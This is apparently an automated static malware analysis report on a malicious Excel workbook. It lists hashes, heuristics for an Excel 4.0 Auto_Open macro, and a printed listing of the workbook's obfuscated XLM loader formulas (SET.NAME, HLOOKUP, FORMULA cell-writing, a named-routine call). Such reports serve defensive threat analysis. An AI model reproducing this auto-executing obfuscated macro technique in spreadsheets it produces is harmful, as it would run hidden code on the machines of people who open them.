Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e3c6f6e6ed06978…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:30 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 1374828cc39b4934d9b4b5be1036b43c SHA-1: 18b687ad12fc970ea808f5020f077212b63aec92 SHA-256: 4e3c6f6e6ed06978043bdc3e48c4aeecab373759ecdc44dabfd1e2dc4c08aa35
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6396 bytes
SHA-256: 61d7151896acc067a3fc6fbeecf81e19c71b7386e62dfcde5686bdb46867ec93
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vte
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I172 
' 0018     24 LABEL : Cell Value, String Constant - cJxisZnUQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - CTdaPEp len=0 
' 0018     23 LABEL : Cell Value, String Constant - dfweOtJm len=0 
' 0018     23 LABEL : Cell Value, String Constant - HEPguNCv len=0 
' 0018     24 LABEL : Cell Value, String Constant - lBpJzIuRB len=0 
' 0018     22 LABEL : Cell Value, String Constant - LRJcdja len=0 
' 0018     20 LABEL : Cell Value, String Constant - mvlyT len=0 
' 0018     24 LABEL : Cell Value, String Constant - NHRomfHQM len=0 
' 0018     20 LABEL : Cell Value, String Constant - NKqse len=0 
' 0018     24 LABEL : Cell Value, String Constant - OBRRABlew len=0 
' 0018     24 LABEL : Cell Value, String Constant - pmbFJnIPm len=0 
' 0018     21 LABEL : Cell Value, String Constant - QCVOdd len=0 
' 0018     26 LABEL : Cell Value, String Constant - RbxksWvipRV len=0 
' 0018     22 LABEL : Cell Value, String Constant - rjokhFD len=0 
' 0018     27 LABEL : Cell Value, String Constant - RPWUxMuyqdRA len=0 
' 0018     26 LABEL : Cell Value, String Constant - RSlSJqhETWX len=0 
' 0018     22 LABEL : Cell Value, String Constant - sEjgVTs len=0 
' 0018     22 LABEL : Cell Value, String Constant - UGlkSTA len=0 
' 0018     21 LABEL : Cell Value, String Constant - UiBbwf len=0 
' 0018     24 LABEL : Cell Value, String Constant - vqjfRLEQD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vte,I91,"SET.NAME("mvlyT",VALUE("0"))",""
'  vte,I94,"SET.NAME("QCVOdd",mvlyT)",""
'  vte,I99,"SET.NAME("RSlSJqhETWX",mvlyT)",""
'  vte,I104,"SET.NAME("lBpJzIuRB",COUNTA(CTdaPEp))",""
'  vte,I107,"SET.NAME("sEjgVTs",COUNTA(HEPguNCv))",""
'  vte,I109,[],""
'  vte,I111,"SET.NAME("dfweOtJm","")",""
'  vte,I116,"QCVOdd",""
'  vte,I118,"SET.NAME("NKqse",HLOOKUP("*",CTdaPEp,QCVOdd,FALSE))",""
'  vte,I120,"RbxksWvipRV",""
'  vte,I122,"SET.NAME("pmbFJnIPm",mvlyT)",""
'  vte,I126,[],""
'  vte,I128,"pmbFJnIPm",""
'  vte,I131,"RPWUxMuyqdRA",""
'  vte,I136,"NHRomfHQM",""
'  vte,I140,"UiBbwf",""
'  vte,I144,"SET.NAME("vqjfRLEQD",VALUE(HLOOKUP("*",HEPguNCv,UiBbwf,FALSE)))",""
'  vte,I147,"OBRRABlew",""
'  vte,I152,"dfweOtJm",""
'  vte,I154,"RSlSJqhETWX",""
'  vte,I156,NEXT(),""
'  vte,I159,"rjokhFD",""
'  vte,I162,"SET.NAME("f",INT(T(FORMULA(T(dfweOtJm)&"",""&T(rjokhFD)))))",""
'  vte,I164,"UGlkSTA",""
'  vte,I166,NEXT(),""
'  vte,I169,RETURN(),""
'  vte,I195,"SET.NAME("cJxisZnUQ",I91)",""
'  vte,I197,"CTdaPEp",""
'  vte,I202,"SET.NAME("HEPguNCv",R74C11)",""
'  vte,I206,"SET.NAME("UGlkSTA",213)",""
'  vte,I208,"SET.NAME("LRJcdja",9)",""
'  vte,I212,cJxisZnUQ(),""
'  vte,I213,HALT(),""